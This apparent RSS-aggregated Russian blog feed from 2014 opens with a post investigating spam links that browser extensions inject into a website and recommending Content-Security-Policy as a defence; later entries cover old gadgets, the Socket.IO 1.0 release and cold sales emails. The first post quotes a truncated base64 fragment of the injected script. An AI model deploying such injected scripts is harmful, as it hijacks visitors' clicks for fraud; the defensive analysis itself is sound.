...

суббота, 31 мая 2014 г.

[recovery mode] Подмена (встраивание) спам-ссылок на страницы сайта плагинами браузеров, cpatext, Content-Security-Policy

В конце января в логах нашей внутренней системы анализа пользовательских кликов на сайте kidsreview.ru появились сотни переходов по странным линкам вида:

http://ift.tt/1jI2Lwf



Недолгое расследование показало, что сайт compareiseries.in является прослойкой, скрипт выдает js-редирект на ссылку, которая была передана в адресе. В данном случае base64 скрывала реальный адрес:

http://ift.tt/RQj7fy


Как не трудно догадаться, сайт оказался биржей трафика с оплатой за клики (с параметрами чьей-то конкретной учетки в урле). То есть кто-то накручивал клики, зарабатывал денег, и все на нашем сайте и, самое обидное, без нашего разрешения.


Проблема




Проблема: при просмотре сайта в браузерах большого количества посетителей имеют место спам-линки на множетсво разнородных рекламных ресурсов.

Вопрос: на каком именно уровне они появляются?

Варианты, приходящие в голову (в субъективно оцененном порядке убывания вероятности):

1. В браузер пользователя, в результате вируса на компьютере / завирусованного плагина к браузеру / других вирусов во всем их многообразии, инъектируются вредоносные джаваскрипты в посещаемые сайты;


2. Наши сервера в результате взлома и последующего затроянивания кода сайта или веб-сервера или драйвера сетевой карты сами выдают спам-скрипты / ссылки посетителям;


3. Какой-то из js, которые мы подгружаем с внешних ресурсов, в результате взлома, начал попутно заниматься распространением рекламного спам-контента

(rambler top100, vk/fb, twitter, google, yandex metrika,… их около десятка);


Тщательный поиск каких-либо следов на наших серверах ничего не дал, пункт 3 же отмели как самый маловероятный. Параллельно с этим мы внесли правки в нашу систему анализа переходов — чтобы контент страниц, на которых осуществлялись клики на «левые» урлы, логировался.


Первые же часы работы нашей импровизированной «ловушки» поймали несколько десятков страниц, а вместе с ними и иньектированные js вида:

http://ift.tt/RQjab6

http://ift.tt/1pvs3Wq

http://ift.tt/RQj7fA

http://ift.tt/1pvs3Ws


Или, например, вот так:

«data:text/javascript;base64,KGZ1bmN0aW9uKHdpbmRvdykgew0KICAgIHZhciBkb21haW5fbGlzdCA9ICcsMS5hemFydG55ZS1pZ3J5LXBva2VyLnJ1LDEwMGNhc2luby5uZXQsMTAxb25saW5l…”


и.т.д.


Got it! — решили мы и открыли cpatext.ru, и собственно, что мы увидели — »Мы автоматически подменяем ссылки, а Вы зарабатываете больше!".


image


Ребята предлагают подменять линки, различными способами, в частности через плагины для браузеров. Построили для этого целую систему и, естественно, они далеко не единственные.


Что делать?




Один из самых полезных вариантов борьбы с последствиями — заголовок Content-Security-Policy (http://ift.tt/17dP7gy), который позволяет сайту декларировать ограничения на работу страниц сайта с внешним контентом. В частности, это позволяет передать современным браузерам инструкции по тому, с каких внешних доменов сайт разрешает подгружать внешние JS.

Этот способ особенно хорош, если все js размещаются в рамках одного домена (например, CDN), но в общем случае, когда на сайте может быть куча сторонних js (например виджетов, как у нас) возникает несколько проблем:


1. Необходимо составить полный whitelist, проанализировав все подгружаемые внешние js


2. Необходимо по ходу разработки поддерживать whitelist в актуальном состоянии


3. Изменения в тонкостях хостинга легитимных внешних скриптов: например, смена домена CDN фейсбука или появление нового стороннего легитимного домена — приводит к ошибке.


4. Помимо прочего блокируется уйма скриптов от рекламных тулбаров и потенциально легитимных браузерных расширений.


Мы внутри команды пришли к соглашению, что расширения, которые лезут в контент страницы и позволяют себе изменять контент «идут лесом», но верно ли это в 100% случаев?


После включения блокировки с помощью Content-Security-Policy «левых» кликов становится на порядки меньше (остаются только клики с древних версий браузеров, не поддерживающих CSP), но несколько вопросов осталось:


1. Есть ли какие-то подвижки со стороны разработчиков браузеров в плане ограничения

расширений на инъекции js в страницы сайтов?


2. Какие best practices при решения подобных вопросов с зараженными пользователями на крупных сайтах?

Никаких достойных сведений гуглением найти не удалось.


3. И самое главное, почему спокойно себе живут сайты в духе: metabar.ru/, cpatext.ru/?


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Дети настоящего и гаджеты прошлого

Время летит невероятно быстро. Технологический прогресс скачет с ним ноздря в ноздрю, и мы уже так к этому привыкли, что перестали обращать на это внимание. Свежие, с пылу с жару смартфоны и планшеты морально устаревают через полгода-год после покупки, обо всяких видеокартах, телевизорах и фотоаппаратах лучше вообще не вспоминать. Восемнадцать лет назад можно было гордо доставать пейджер, двенадцать лет назад —носить на поясе «мобилу» в чехле, семь лет назад мир «взорвал» первый айфон и началась эпоха смартфонов. В общем, процесс начинает выходить из-под контроля.

Детство каждого поколения отмечено характерными для того времени материальными объектами. Раньше смена технологий была достаточно плавной и медлительной, поэтому дети обычно хорошо знали и понимали то, что когда-то было ценным и важным для предыдущего поколения. Но сегодня вокруг такое несметное разнообразие всяких гаджетов и электроники, что по факту произошёл разрыв преемственности поколений.


Мы решили провести небольшой эксперимент — пригласить шесть детей от шести до десяти лет и показать им гаджеты из недалёкого прошлого.





Ну вот как объяснить человеку, родившемуся году в 1995, почему эта картинка вызывает ностальгию у тех, кто родился году в 1980?



А эта картинка вообще выдавливает скупую мужскую слезу у поколения тридцати-сорокалетних:



И разве может современная молодёжь понять, какую радость приносил нам практический опыт общения с этими бытовыми гальваническими элементами? Этот, в прямом смысле слова, неповторимый вкус детства?


Многие из нас давно (или недавно) стали родителями. У нас появилась идея снять видеоролик о том, что современные дети знают о гаджетах из нашего собственного детства. Наши дети живут уже совсем в другой стране, их окружает другой мир, гаджеты и технологии, которые нам были неведомы в их возрасте. В ролике мы решили не только спросить детей, знают ли, что за предметы и устройствам мы им показываем, но и как ими пользоваться. Да мы и сами уже о многом подзабыли. Давайте вместе вспомним о некоторых, столь важных когда-то для десятков миллионов людей вещах.


Дисковый телефон





Самый известный гаджет в нашем видеоролике. Пожалуй, телефон с дисковым номеронабирателем является одним из наиболее узнаваемых приборов всех времён и народов. Честно говоря, нам даже немного жаль тех, кто ни разу не пользовался подобным способом набрать номер.


Многие десятилетия домашний телефон был доступен далеко не всем. Приходилось ходить к соседям, чтобы позвонить, или спускаться к телефону-автомату. Когда-то этот довольно неспешно возвращающийся диск мог довести до белого каления, пока вы торопливо набирали номер. Мы спросонья не попадали в нужные отверстия, а бывало, что так резко крутили диск, что весь телефон елозил по столу. Сколько прошло лет, а в памяти сразу возникают жужжание возвращающегося диска, тактильные ощущения от отверстий и ограничителя, в который упирался палец при наборе.


«А, вот уже ответили!

Ну здравствуй, это я…»


Фотоаппарат Polaroid





Миллионы людей по всему миру, не желавшие постигать науку фотографии, с радостью и благодарностью приняли это порочное, с точки зрения настоящих поклонников фотографии, изобретение компании Polaroid. Странный, массивный и неказистый аппарат, не требовавший никаких знаний и настроек, после нажатия на спуск выплёвывал маленькую картонку, на которой через некоторое время прямо у вас на глазах появлялось изображение. Никаких тебе выдержки и диафрагмы, проявки и колдовства над фотоувеличителем. Нажми на кнопку — получишь результат, апофеоз потребительской простоты и эффективности. Чтобы ускорить проявление, знающие люди рекомендовали потрясти карточку после выхода из фотоаппарата.


Пластмассовые линзы и выставленный на гиперфокальное расстояние объектив априори не позволяли говорить о мало-мальски качественном изображении. Однако потребитель проголосовал рублём, и полароидные снимки заполонили планету. Конечно, у нас в стране стоимость как самого фотоаппарата, так и кассет к нему была весьма высока по сравнению с обычными плёночными «мыльницами», что сильно сдерживало распространённость этого гаджета. Тем не менее, это был не такой уж и редкий прибор в семьях постсоветского пространства. У многих до сих пор дома сохранились полароидные снимки, хотя нередки были случаи, когда спустя несколько лет изображение исчезало.


Кассетный магнитофон





То самое устройство, на котором воспроизводились и записывались компактные аудиокассеты. Пожалуй, до появления видеомагнитофонов это был один из главных технофетишей в СССР. Советская промышленность производила моно- и стереомагнитофоны, многие из которых были очень недешёвым удовольствием, их стоимость могла составлять 2-4 зарплаты рядового жителя «одной шестой суши» (не будем брать в расчёта мизерную долю счастливчиков, у которых были импортные магнитофоны, привезённые родственниками и полезными знакомыми из загранкомандировок).


В кассетных магнитофонах ценилось наличие двухсторонней перемотки, чтобы можно было перематывать кассету без вынимания и переворачивания другой стороной. Особенным шиком считалось плавное открывание крышки кассетоприёмника, у большинства советских магнитофонов она безо всякого стеснения резко распахивалась под действием пружины, словно чёртик из табакерки. Особенно продвинутые владельцы магнитофонов иногда подкручивали отвёрткой прижимной винт звукоснимающей головки, чтобы улучшить качество звучания.


Сегодня кто-угодно может накидать в плеере файлы в трек-лист, а в наше время удачные сборники песен на кассетах ходили по руками и многократно тиражировались. И мы с трепетом и удовольствием потом слушали все эти шипящие и фонящие записи 3-5 «отжима». Чтобы ненароком не записать что-то поверх ценной музыки можно было воспользоваться одноразовым механическим предохранителем — выломать пластмассовый язычок на одном из торцов кассеты. Правда, когда вкусы и приоритеты менялись, и нужно было всё же перезаписать кассету, то получившееся отверстие заклеивали кусочком изоленты (не скотча, тогда его в помине не было) или залепляли пластилином.


Кстати, если для вас смысл самой первой картинки в этом посте является загадкой: с помощью карандаша или ручки с гранёным корпусом кассеты перематывались вручную. Почему нельзя было сделать это на магнитофоне? Бывало, что плёнку вытягивало из кассеты головкой магнитофона и она застревала — «кассету зажёвывало». Тогда приходилось аккуратно её вынимать, осторожно вытягивать помятую плёночную петлю и аккуратно вручную сматывать в кассету. Делать это пальцем это было неудобно и немного неприятно из-за зубчиков катушек, поэтому вставленный карандаш был идеальным решением, в разы увеличивающим скорость и комфортность этой процедуры.


А ещё многие с помощью карандаша просто перематывали кассету, причём целиком. Держа карандаш вертикально с насаженной на него кассетой, делали быстрые вращательные движения кистью, из-за чего кассета сама крутилась вокруг карандаша. Конечно можно было перемотать и на магнитофоне, но не всегда он был под рукой. А кассету перемотать нужно, вот такой вот парадокс. Так сказать, из области иррационального.


Вскоре после развала СССР в стране появились персональные моноблочные компьютеры. Самыми популярными были многочисленные вариации на тему ZX-Spectrum. Они не имели встроенного хранилища данных и имели только оперативную память. Поэтому все программы для них хранились на аудиокассетах, и для работы нужно было предварительно считать их с помощью магнитофона в память компьютера. Те, кто это делал, вряд ли смогут забыть ту какофонию звуков, и напряжённое ожидание окончания загрузки с волнением — будет сбой в чтении или нет. Но это уже совсем другая история, о целой IT-субкультуре того времени.


И если для прослушивания музыки было круто иметь стерео-магнитофон, то для работы с ZX-Spectrum предпочитали использовать моно-магнитофоны, так как считалось, что с ними реже случаются ошибки чтения данных.


Радиоприёмник





Когда-то магнитофоны были ещё слишком дороги, поэтому радиоприёмники был самым массовым гаджетом в стране. С их помощью мы не только слушали «Я буду дооооолго гнааааать велосипед» и «Учкудууууук — три колодца!», но и слушали различные информационно-образовательно-политические передачи. Этакий переносной развлекательно-новостной портал на батарейках, дёшево и сердито. Продвинутые модели могли принимать в широком диапазоне радиоволн, и «колдовство» с ручкой настройки было целым ритуалом. И не понять современным детям, какое было удовольствие, когда после напряжённого вслушивания в шипение и треск эфира удавалось поймать какую-нибудь станцию.


Постепенно магнитофоны начали вытеснять радиоприёмники, поскольку, обладая сравнимыми габаритами, имели одно несравненное преимущество — на них можно было слушать то, что хочется, а не то, что вещают.


Видеокассета





В начале девяностых видеомагнитофоны стали гораздо доступнее, и прилавки городов и весей заполонили видеокассеты. Чаще всего на них было записано 2 фильма или куча мультфильмов. Видеосалоны, появившиеся в домах культуры и всевозможных подвалах способствовали популяризации голливудского кинематографа. Вы помните эти написанные от руки афиши с репертуаром, развешенные по городу?


И вот уже просмотр видео стал одним из самых модных и популярных способов времяпрепровождения дома и в гостях. Поэтому у тех, кому сейчас от 25 до 40, видеокассеты неизменно ассоциируются со множеством открытий в кинематографе, с удивительными по силе переживаниями от просмотра тогда столь непривычных иностранных фильмов. Ассоциируются с детством.


Катушечный магнитофон





Если кассетный магнитофон знаком сегодня почти всем, то с его предшественником, катушечным магнитофоном, даже многие из поколения 30-летних уже не сталкивались. К концу 1980-х годов у советских граждан их оставалось уже немного. Большие и дорогие, «катушечники» приобретались, в основном, меломанами и аудиофилами, которые могли себе их позволить. В отличие от появившихся впоследствии более компактных и лёгких кассетников, катушечные магнитофоны были, в основном, стационарными. Да и не слишком-то много было желающих вывезти на природу дорогущую технику со множеством открытых чувствительных частей, в том числе вращающихся.


Катушечные магнитофоны стали, по сути, первым и на долгие десятилетия единственным способом сохранить и проигрывать понравившуюся музыку. Именно благодаря лёгкости тиражирования музыкальных записей с помощью магнитофонов всенародную известность получили множество исполнителей.


Конечно, самым слабым местом этих гаджетов был сам принцип хранения и проигрывания плёнки — на двух независимых катушках (бобинах). Длинный открытый тракт с головками и лентопротяжным механизмом тоже не улучшал защищённости. В общем, эти магнитофоны требовали бережного обращения и аккуратности. Зато, если плёнка рвалась, её было легче и проще склеить, чем в случае с кассетами.


Диапроектор





Давным давно, когда главным развлечением дома были только телевизор и книги, детям очень хотелось чего-то сказочного. И какой-то светлой голове пришла в голову идея: почему бы не сделать простенькое устройство, чтобы дети сами себе показывали красочные истории. И ничего для этого особенного не нужно, кроме лампочки да стародавней технологии, придуманной, чтобы людям кино показывать, — 35-мм плёнки. Так и родился один из лучших гаджетов для детей, диапроектор.


Вам не посчастливилось с затаённым дыханием прокручивать в темноте плёнку, рассматривая на простыне появляющиеся картинки? Тогда вот в чём суть диапроектора: позитивная (слайдовая) фотоплёнка пропускается через ящичек, в котором просвечивается лампочкой и через объектив проецируется на какую-нибудь светлую поверхность. Миниатюрный кинопроектор, только управляемый вручную.


Плёнки продавались в маленьких цилиндрических коробочках с крышками, пластиковых или алюминиевых. Каждая плёнка состояла из 10-20 кадров, на которых были изображены красочные картинки и короткие тексты. Истории в миниатюре, разновидность комиксов.


Это был целый ритуал — выключить свет, плотно зашторить окна, повесить простыню или освободить кусок стены. Заправить плёнку, включить проектор и погрузиться в созерцание больших проецируемых картинок. Ты был сам себе кинотеатром и киномехаником, не хватало только мороженого, голубого вертолёта и воды по асфальту рекой.


3-дюймовая дискета





Когда-то персональный компьютер без трёхдюймового дисковода был просто немыслим. Вы ещё застали те времена? Маленький слот с кнопкой под ним был таким-же неизменным атрибутом, как клавиатура. Дискеты были жизненно необходимы — с них устанавливалась операционная система, на них хранились и переносились любые данные. Кстати, ещё в начале 1990-х были распространены персоналки, у которых не было своего жёсткого диска, поэтому они загружались исключительно с дискет.


Дискеты были самым популярным носителем информации. На них продавалось множество программ, включая большие профессиональные пакеты. Представьте себе пачку 1,4-мб дискет, на которых записан дистрибутив той же Windows или Corel Draw.


Любой уважающий себя IT-специалист или увлечённый компьютерами человек имел с собой в сумке переносную коробку с дискетами. Многие экономили на стоимости, покупая модели на 720 кб и делая из них 1,4-мегабайтные путём вырубания второго отверстия в одном из уголков дискеты. Да, надёжность хранения данных снижалась, но кто не рисковал, тот не удваивал доступный объём памяти.


А вы помните этот механический ползунок, защищающий дискету от записи? Кто из нас в минуты нервного напряжения не щёлкал им туда-обратно, или металлической шторкой, закрывающей отверстия для головок?


Так сложилось, что расцвет 3-дюймовых дискет пришёлся на период бурного становления и развития IT. Их значение было столь велико, что изображения дискет по прежнему постоянно попадаются нам на глаза, хотя сами дискеты уже не так просто найти. И потому теперь трудно объяснить детям, что за странная иконка обозначает функцию «Сохранить» в подавляющем большинстве приложений на всех компьютерных платформах, стационарных и мобильных.


5-дюймовая дискета





Вопрос на засыпку для молодых: где у 5-дюймовой дискеты располагается ползунок, защищающий от записи? Руки прочь от гугла! Конечно, это шутка — не было у них ползунка. Чтобы защитить дискету от записи, нужно было заклеить бумажкой или изолентой (скотч был всё ещё эфемерной экзотикой) прорезь справа. Сами дискеты аккуратно носились в бумажных конвертах, причём зачастую коробки под них делались самостоятельно. Чтобы облегчить поиск нужной дискеты в стопке, многие клеили на торец цветные бумажные полоски.


Опять же возвращаясь к ZX-Spectrum: в то время, как большинство владельцев маялось с кассетами и магнитофонами, по несколько минут загружая какую-нибудь игру, некоторые могли похвастаться наличием 5-дюймового дисковода, дававшего многократный выигрыш в скорости загрузки. Правда, дискеты могли хранить меньше данных, чем стандартная кассета, но это был небольшая плата за удобство, скорость и надёжность считывания.


Забавный факт: в народе ходила байка о том, что из 8-дюймовых дискет можно аккуратно вырезать 5-дюймовые. Конечно, это было не так. К началу 1990-х пятидюймовки были уже практически вытеснены трёхдюймовыми дискетами.


Вот и все гаджеты, которые мы показали маленьким участникам нашего эксперимента. Напоследок хотим поблагодарить их от всей души! Вы отлично справились с узнаванием всех этих странных для вас и, в целом, непонятных предметов. Если честно, то мы были удивлены.


Всех же остальных мы поздравляем с Днём защиты детей!


Любите их, будьте к ним снисходительны, ведь их маленькие проблемы для них не менее важны, чем ваши для вас самих. И не забывайте им рассказывать о гаджетах своей молодости, чтобы они лучше понимали вас и ваше время, когда вырастут.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Дайджест интересных материалов из мира веб-разработки и IT за последнюю неделю №111 (25 — 31 мая 2014)

Только зарегистрированные пользователи могут оставлять комментарии.

Войдите, пожалуйста.




Метки лучше разделять запятой. Например: общение, социальные сети, myspace.com, подростки, мердок


или закрыть

This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Вышла версия 1.0 библиотеки Socket.IO

28 мая библиотека для создания приложений реального времени на Node.js Socket.IO доросла до версии 1.0. Socket.IO возникла практически сразу же после появления Node.js и быстро стала одним из самых популярных и востребованных проектов экосистемы Node. Socket.IO реализует коммуникацию сервера и клиента в реальном времени с помощью Web Sockets, а при отсутствии этого API в старых браузерах эмулирует сокеты с помощью других доступных технологий — сокетов Adobe Flash, запросов AJAX или JSONP.



В версии 1.0 окончательно разделены логика работы библиотеки и низкоуровневый движок, реализующий коммуникацию в старых браузерах. Теперь весь код, связанный с этой задачей собран в отдельном модуле Engine.IO. Благодаря этому код Socket.IO стал меньше и чище, упростилось добавление новых видов транспорта, а если разработчик решил положиться только на Web Sockets, то Engine.IO можно вообще не использовать.

Socket.IO теперь поддерживает бинарные потоки данных, причём делает это более гибко, чем Web Sockets — типы Buffer, Blob, ArrayBuffer и даже File можно включать в состав передаваемых структур данных. В оригинальных вебсокетах можно только задавать режим использования сокета — бинарный или символьный.


Среди других изменений — усовершенствованная инфраструктура тестирования, улучшенное масштабирование приложений Socket.IO, интеграция с приложениями, написанными на отличных от JavaScript языках, усовершенствованные средства отладки, изменения в API в сторону упрощения и унификации. Подробнее все отличия версии 1.0 описаны в статье в блоге проекта, посвящённой релизу.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Баллада о продающих письмах

В Facebook мне попался очень интересный пост «Баллада о продающих письмах» на странице Антона Гладкова. Не могу не поделиться этим с Хабром, так как материал считаю чрезвычайно полезным. Но для этого пришлось произвести рерайт, поскольку оригинал насыщен запрещенными здесь словами. Надеюсь безобидный овощ под холодец сможет хотя бы частично передать эмоции автора, не нарушая правил.



В последнее время мне особенно часто попадаются в социальных сетях и прочих Интернетах статьи и посты, ругающие эффективность LinkedIn. Особенно в России, где бизнесмены даже фейсбук считают более подходящим для деловых переговоров. На западе LinkedIn тоже модно не любить: статьи о вреде эндорсов, 10 причин не писать и не принимать рекомендации, и тому подобная чушь.

На самом деле ругать инструменты придумали еще до появления Интернета и скорее всего задолго до нашей эры. Нам посчастливилось трудиться сейчас, когда Интернет у нас в кармане и я хотел бы поговорить о главной причине нелюбви к тем или иным современным каналам Интернет-продаж — о хреновых первых письмах.



Итак, что мы обычно не любим? — Да ничего!


LinkedIn? Там никого нет, пишут нерелевантные люди, спам какой-то постоянно, непонятный интерфейс, короче — выскочка и говносервис.


Почта? Че-то мне не отвечают, а еще переписки теряются, да и вообще — все как-то медленно.


Телефон? Дорого, и не каждый номер легко найти. К тому же на трёхдневных курсах MBA, да и в Гарварде, не учат таким простым вещам, как человеческое общению по телефону, поэтому постоянно шлют куда подальше.


Скайп? Хто ж по скайпу продает? Особенно в России (rofl)


Конференции? Дорого, все организовано из рук вон, конференция бесполезная, набор участников — полное дерьмо.


Ну да. А с девчонками сложно познакомиться, потому что “все бабы дуры” (с)


Ну так а в чем реально проблема? Почему вам не отвечают ни в LinkedIn, ни в почте? Вообще причины всего две: ты и ты.


Первым номером идёт убогая речь. Читайте книжки и, возможно, тогда ваши пальцы увереннее забегают по клавиатуре, и в тексте не будет видно паталогической зажатости, которая перекрывает эффект от доносимой информации. Чтобы текст сработал, его нужно уметь написать, а для этого нужно держать в голове много чужих текстов. Питчи большинства менеджеров скучны, логика призрачна, все это раздражает настолько, что даже послать лень. Поэтому на бОльшую часть таких писем просто не отвечают.


Что еще? Ваша роботизированная бесчеловечность! Даже если текст и фактология вашего питча идеальны, у вас есть огромный риск наткнуться на недостаточно замотивированного (в данный момент) человека, который по одной из мириадов причин просто не способен прямо сейчас работать. А вы, кстати, как раз это и предлагаете ему делать. Причины важны, надо держать их в голове, желательно во всем их многообразии: чуваку никто не рассказал что ему вообще надо делать; ссора с боссом/любимой; кошка родила; зарплата внезапно показалась слишком маленькой; по дороге коцнул любимую машину; слишком поздно узнал о существовании презервативов; прописанное доктором успокоительное выключило мозг; лучшая подруга увела мужа (чаще наоборот). Еще есть умники, которые могут решить что у них уже слишком много важных писем, поэтому 80% можно смело отметить прочитанными или отложить на потом (в аду будет много времени), ведь какие-то результаты все равно будут, и начальник ничего не заподозрит, и не наругает. На вопрос «Что бы ты сделал, если бы в твоем ящике с утра обнаружилось 800 не прочитанных писем?” некоторые работники ножа и топора на собеседовании серьезно отвечают “Отметил бы прочитанными, если им надо — пускай еще раз напишут!”. Перед кликом по кнопке “отправить письмо” будьте уверены — там уже сидит такой вот чел. Если нет — повезло, можно порадоваться, но недолго.


Если откровенно, то причин положить на ваше письмо у людей значительно больше, чем вежливо и вдумчиво ответить на него.


Зачем нужно держать все это в голове? Постоянно ощущая многообразие проблем других людей, вы приобретаете толерантность к краткосрочным неудачам. Теперь вы понимаете, что они там все тоже люди, вы видите дальше своего носа — не только свои победы и поражения, а процессы, которые формируют условия для того или иного исхода. Серость и монотонность — главные враги продаж. Очень легко потерять письмо, если оно сильно похоже на 500 других писем, да еще и отсутствуют нужные технологии, которые помогают эти письма не терять (99% компаний таковыми не обладает, либо они там есть, но никто ими не пользуется).


Нельзя недооценивать всю силу пофигизма незамотивированного или подавленного человека в переговорах и сделках. Помочь может только живое и красноречивое письмо, которое любезно сообщает скучающему менеджеру всё, что ему необходимо знать.


Схема мышления типичного менеджера “на том конце провода”:


О прочитанном не надо долго думать? Можно просто с умным видом согласиться и типа передать в следующий отдел? Приятно было читать? Ну и чел вроде нормальный, не бот какой-то. Ну ладно, так уж и быть. Перед тем как пойти за печенькой и заскочить на 6 часов к телкам из техподдержки таки отвечу “ок”, и добавлю светку в CC, пусть уже она мучается.


Держите в уме: у вас на самом деле не один шанс, а целая бесконечность. Не бойтесь экспериментировать. Неудачный питч не гарантирует поражение, а напротив — двигает камень в гору на миллиметр, приближая к вершине горы, где находится тот самый, правильный питч, и, как следствие, искомый результат.


Формула 100% успеха в любой сделке: **количество попыток / качество попыток**, где количество попыток — цифра (иногда с большим количеством нулей), а качество — составная переменная из опыта, навыка и таланта. Эти показатели определяют — насколько адекватным языком и насколько адекватные вещи мы пишем, а так же релевантность человека, которому мы транслируем именно то, что транслируем.


Какие говнопитчи бывают, и как с этим со всем жить?


Вы — личность




Всем на самом деле интересно кто вы такой, что вы за человек. Если вы начинаете свое письмо со слов: “Авиакомпания ЭирХренеир свидетельствует Вам своё уважение”, а в подвале письма вместо имени указываете только должность “Менеджер по продажам компании ЭирХренеир», то у вас большие проблемы. Обидно, но в ~10% случаев после прочтения первого письма я даже не знаю как зовут оппонента, ибо нигде не написано. Я еще не знаю есть ли в этом диалоге профит, но мне уже неудобно — я не могу соблюсти правила приличия. Мне приходится думать как бы ответить правильно, как начать своё письмо? Я вежливый человек, и не хочу писать: “Эй, сука, скинь мне предложение на пейджер", как это любят в крупных компаниях, и особенно на просторах нашей необъятной. Я хочу вести диалог с живым человеком. Добрым, милым, ласковым, в идеале женского пола, с длинными ресницами там, ногами, без бороды. Упс.

Ваш оппонент — личность




Когда мы общаемся о делах, мы не возносимся к Всевышнему, и объективно остаемся двумя кусками из мяса, которые не прочь хорошей компании, кружки вкусного пива, хорошей шутки, интеллектуальной беседы. Нет способа подчеркнуть свой статус лучше, чем быть вежливым, открытым и доброжелательным с незнакомым человеком.

Мне очень часто пишут как-то так: “Антон скажите как нам падключится к вашему метапоисковику? Директор ******* Кирилл”. Наверно трудно быть директором, имея такие скудные представления о том, как правильно общаться с людьми. В голове у такого человека много самодовольных мыслей, мол, насколько круто он экономит свое время, иллюзия о собственной про-эффективности. На самом деле 85% общения в таком виде абсолютно не эффективно, и вместо экономии мы получаем пустые диалоги, которые просто как-то там случаются, но без выхлопа. Уже вторым письмом этот человек потеряет нить беседы, либо забудет ответить вообще, потому что совершенно очевидно — ему не интересен процесс общения, интересен только результат, который, очевидно, должен упасть с неба просто по причине возникновения у директора соответствующего желания.


А вот хрен! Это так не работает, надо срочно искать в команду нормального переговорщика. Куда прикольнее было бы общаться с вами, напиши вы “Добрый день, Антон. Мне невероятно приятно с Вами познакомиться. Заметил в Вашем вконтактике, что Вам нравится хипхоп, я вот на днях прикупил дисочек вутэнга. Надеюсь Вы наслаждаетесь своей неделей? Я вчера разбил свою машину, но возможность пообщаться с Вами скрашивает даже этот печальный факт. Итак, я очень хотел бы обсудить одну штуку…”


Это же просто прекрасно! Не рассказывайте, пожалуйста, что вам так не нравится.

Получил такое письмо и будешь сидеть, искренне думать, как извлечь побольше профита для этого милого и доброго человека в рамках своих гайдлайнов. И как следует постараешься. И это будет правильно.


Избегайте тупых писем, прожигателей времени




Вот вам мой персональный ТОП-5 писем-стартеров, поражающих своей бесполезностью:
“Здравствуйте, Антон. Скиньте нам посмотреть ваше предложение, мы хотели бы работать с вашим метапоиском”.



Послушай, чувак, ведь это ты мне пишешь. Во-первых, с чего ты решил что у меня вообще есть предложение? Какая у тебя идея, почему ты вообще мне написал? Кто, в конце концов ты такой? Писать в таком духе невежливо даже в том случае, если совершенно очевидно, что мне нужен контракт с этим брендом. Невежливое поведение — это слабость. В переговорах довольно сомнительно начинать с демонстрации своих слабых сторон.
“Можем пообщаться с вами о сотрудничестве?”



Подмывает ответить, мол, «да хрен тебе!» Хотя правильный ответ “Да, конечно, давайте пообщаемся.” И лучше бы вам к этому правильному ответу добавить еще и “Звони в любое время, а лучше прямо сейчас” — это поможет избежать следующего письма этого человека, которое прозвучит так: “А во сколько и когда вам было бы удобнее?"

Послушайте, если вы действительно хотели поговорить о сотрудничестве, возможно стоит начать прямо с этого разговора? Три письма изящно превратились бы в одно письмо. Это в среднем пять (!!!) дней экономии в рамках этой сделки, если считать в среднем, что на каждое письмо ответ действительно погруженных в работу людей занимает примерно 1-1,5 дня, просто из-за ротации диалогов в ящике.


“Мы хотим с вами созвониться, чтобы обсудить возможность поработать вместе”



Фигли тут хотеть? Просто бери и звони. Хочунов вообще немеренно, еще, бывает они вот так заходят: «Мы хотели бы обсудить возможность сотрудничества”. Ну все, упасть теперь на месте.
“Есть что обсудить голосом — во сколько и когда вам позвонить?”



На чтение этого письма и на сочинение креативного ответа на него я потратил бы по меньшей мере в два раза больше времени, чем на разговор об этом по телефону. Если ваш оппонент строит свою жизнь так, что одним звонком его телефона можно серьезно навредить его бизнесу или жизни, то он как-то живет не правильно, вам не кажется? Просто не долбите мозги и позвоните. Друзья и родные звонят ему по десять раз на дню, нагружая всякой бессмыслицей, а вы звоните денег предложить. Да он просто мечтает о вашем звонке! А если не мечтает, значит олдскульный фагот, вам при любом раскладе будет долго и медленно, и хуже от того, что вы начнете со звонка, уже точно не станет.
“Сейчас я пришлю вам наше предложение”



Зачем писать об этом целое письмо? Ведь предложение не почтовым голубем придет, а тоже письмом? И что мешает всё, что мне придется вычитывать в предложении, описать здесь двумя маленькими абзацами, прямо в письме? Это было бы очень любезно с вашей стороны.

В общем, резюмируя, получаем вот что:


В настоящий момент классическое первое письмо продажнега выглядит вот так: “Я хрен пойми кто, мне хрен пойми что интересно, я хотел бы об этом хрен знает чем с вами пообщаться, хрен знает с какой целью и хрен знает каким образом, и всенепременно нихрена непонятно когда. „


Мне хочется сто раз подчеркнуть главную идею: больше обдумывайте, и каждый раз задавайте себе один вопрос перед нажатием хоткея отправки письма — “ЧЕМ ЭТО ВАШЕ ПИСЬМО ПОЛЕЗНО?” Ответ на этот вопрос нужно сравнить с разговорным вектором, который ведет вас именно к вашей конечной цели, ради которой пальцы двигались по клавиатуре, при этом надо пунктиром рисовать разговорный вектор оппонента, и чем градусы ваших векторов сильнее различаются, тем дольше вам надо продумывать фактологию вашего письма. В 90% случаев письмо можно сделать всего в полтора раза длиннее, но в десять или даже в сто раз эффективнее.


Первое письмо должно давать исчерпывающую информацию. Вы должны поработать и за себя, и “за вон того парня”. Прикинуть чем лично ему будет полезна эта сделка? Чем она полезна его компании? А что получит конкретно его отдел? Как извлечь из этого максимальную пользу, закрыв при этом все цели вашей компании? Как правило, если ваш продукт действительно хорош, польза там по дефолту есть, и просто глупо не ввязаться в сделку.

Вы же хотите не тупыми вопросами перекидываться, а поговорить о партнерстве? Ну так и опишите все, что нужно знать, чтобы именно обсуждать это партнерство. Не заставляйте человека писать вам тупые вопросы. Велика вероятность того, что на том конце провода сидит не наемный раб, а мистер бизнесмен, его эта необходимость задавать вам тупые вопросы особенно раздражает.


Как правильно стучаться в двери к незнакомым людям? Вряд ли достаточно просто постучать, и проорать во всю глотку: “Это Вася, открывай”. В лучшем случае вам ответят: “Какой Вася?”. Так и с приветственным продающим письмом. Вообще, я даже приготовлю вам универсальный чеклист:



  1. Нормальное человеческое общение в начале, середине и конце письма. Если вам такое не интересно, и вы постоянно думаете о том, как бы сэкономить время — пожалуйста, покиньте продажи.

  2. Подробное (одним абзацем) описание деятельности компании + любые цифры, которыми вы гордитесь.

